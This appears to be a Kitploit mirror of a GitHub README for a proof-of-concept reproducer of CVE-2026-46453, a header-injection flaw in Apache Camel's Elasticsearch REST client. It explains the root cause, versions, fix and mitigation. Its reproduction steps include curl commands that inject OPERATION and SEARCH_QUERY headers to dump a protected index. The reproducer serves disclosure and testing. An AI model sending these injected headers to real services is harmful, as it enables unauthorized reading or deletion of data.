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CVE-2026-46453 — Reproducer for CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client unprefixed-header injection (operation/query override via inbound HTTP headers) | Kitploit
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GitHuboscerd/cve-2026-46453

CVE-2026-46453

Reproducer for CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client unprefixed-header injection (operation/query override via inbound HTTP headers)

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324 months agoNot yet reviewed
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camel-elasticsearch-rest-client Unprefixed-Header Injection Reproducer (CVE-2026-46453)

This project demonstrates a message-header injection / authorization bypass in Apache Camel's camel-elasticsearch-rest-client component, tracked as CVE-2026-46453. The component reads several Exchange headers to control its behaviour — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. In the affected versions these header string values are plain, unprefixed names ("OPERATION", "SEARCH_QUERY", …) rather than the Camel-prefixed names every other component uses. Camel's inbound HttpHeaderFilterStrategy blocks only names that start with Camel/camel, so these headers pass the inbound filter unchanged. When a route exposes an HTTP entry point (e.g. platform-http) in front of an elasticsearch-rest-client producer, an untrusted HTTP client can set these headers directly and override the query and operation the route author configured — reading the whole index, deleting documents, etc. No credentials are required.

Advisory: https://camel.apache.org/security/CVE-2026-46453.html

Vulnerability Summary

PropertyValue
Componentcamel-elasticsearch-rest-client
Affected constantsElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (unprefixed values)
CWECWE-20 (Improper Input Validation) + CWE-639 (Authorization Bypass Through User-Controlled Key)
ImpactUntrusted HTTP client overrides the ES operation/query — read/delete/exfiltrate documents
Affected VersionsFrom 4.3.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0
Fixed Versions4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23508
ReporterYu Bao (PayPal)

Same header-injection family as CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 and CVE-2026-47323 — all stemming from components reading inbound headers the default HeaderFilterStrategy doesn't block because the names don't start with the Camel prefix.

Technical Details

// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategy blocks only Camel*/camel*, so an inbound HTTP header OPERATION: SEARCH (and SEARCH_QUERY: {...}) passes through and overrides the route author's operation=GET_BY_ID. The fix (4.14.8 / 4.18.3 / 4.21.0) renames the values to CamelElasticsearchOperation, CamelElasticsearchSearchQuery, etc., so the inbound filter blocks them (the Java field names are unchanged).

The victim route

from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // route author intends a single, safe operation: fetch one document by id

An attacker's HTTP request with OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} overrides that and dumps the whole index.

Repository layout

The victim is the Camel route; the attacker is any HTTP client that can reach the platform-http endpoint. The reproducer runs a real Elasticsearch in Docker and the Camel app on the host (the app talks to ES over the mapped port).

CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # seeds a "public" and a "secret" document
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
    └── resources/
        └── application.properties

Prerequisites

  • Java 17+ and Maven 3.8+
  • Docker (runs Elasticsearch)

Reproduction Steps

Step 1: Start Elasticsearch

docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

Step 2: Build and run the app (on the host, talking to the ES container)

mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup

Step 3: Trigger the header injection

curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true

You can also do it by hand — the injected headers pass straight through platform-http's inbound filter:

# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

Cleanup

docker compose down

Attack Vectors

Any route that exposes an HTTP entry point in front of an elasticsearch-rest-client producer. The attacker sets OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS, or ID on the inbound HTTP request; they bypass the Camel-prefix inbound filter and reach the producer.

Exploit Conditions

  1. An HTTP consumer (e.g. platform-http) routing to an elasticsearch-rest-client producer on an affected version.
  2. The default HttpHeaderFilterStrategy (blocks only Camel*), which does not cover the unprefixed ES headers.

Recommended Fix

Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), which prefixes the header values with Camel so the inbound filter blocks them.

Mitigation

Until upgrading, strip the affected headers from untrusted inbound messages before the producer:

.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

or apply a custom HeaderFilterStrategy that blocks these names.

Disclaimer

This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.

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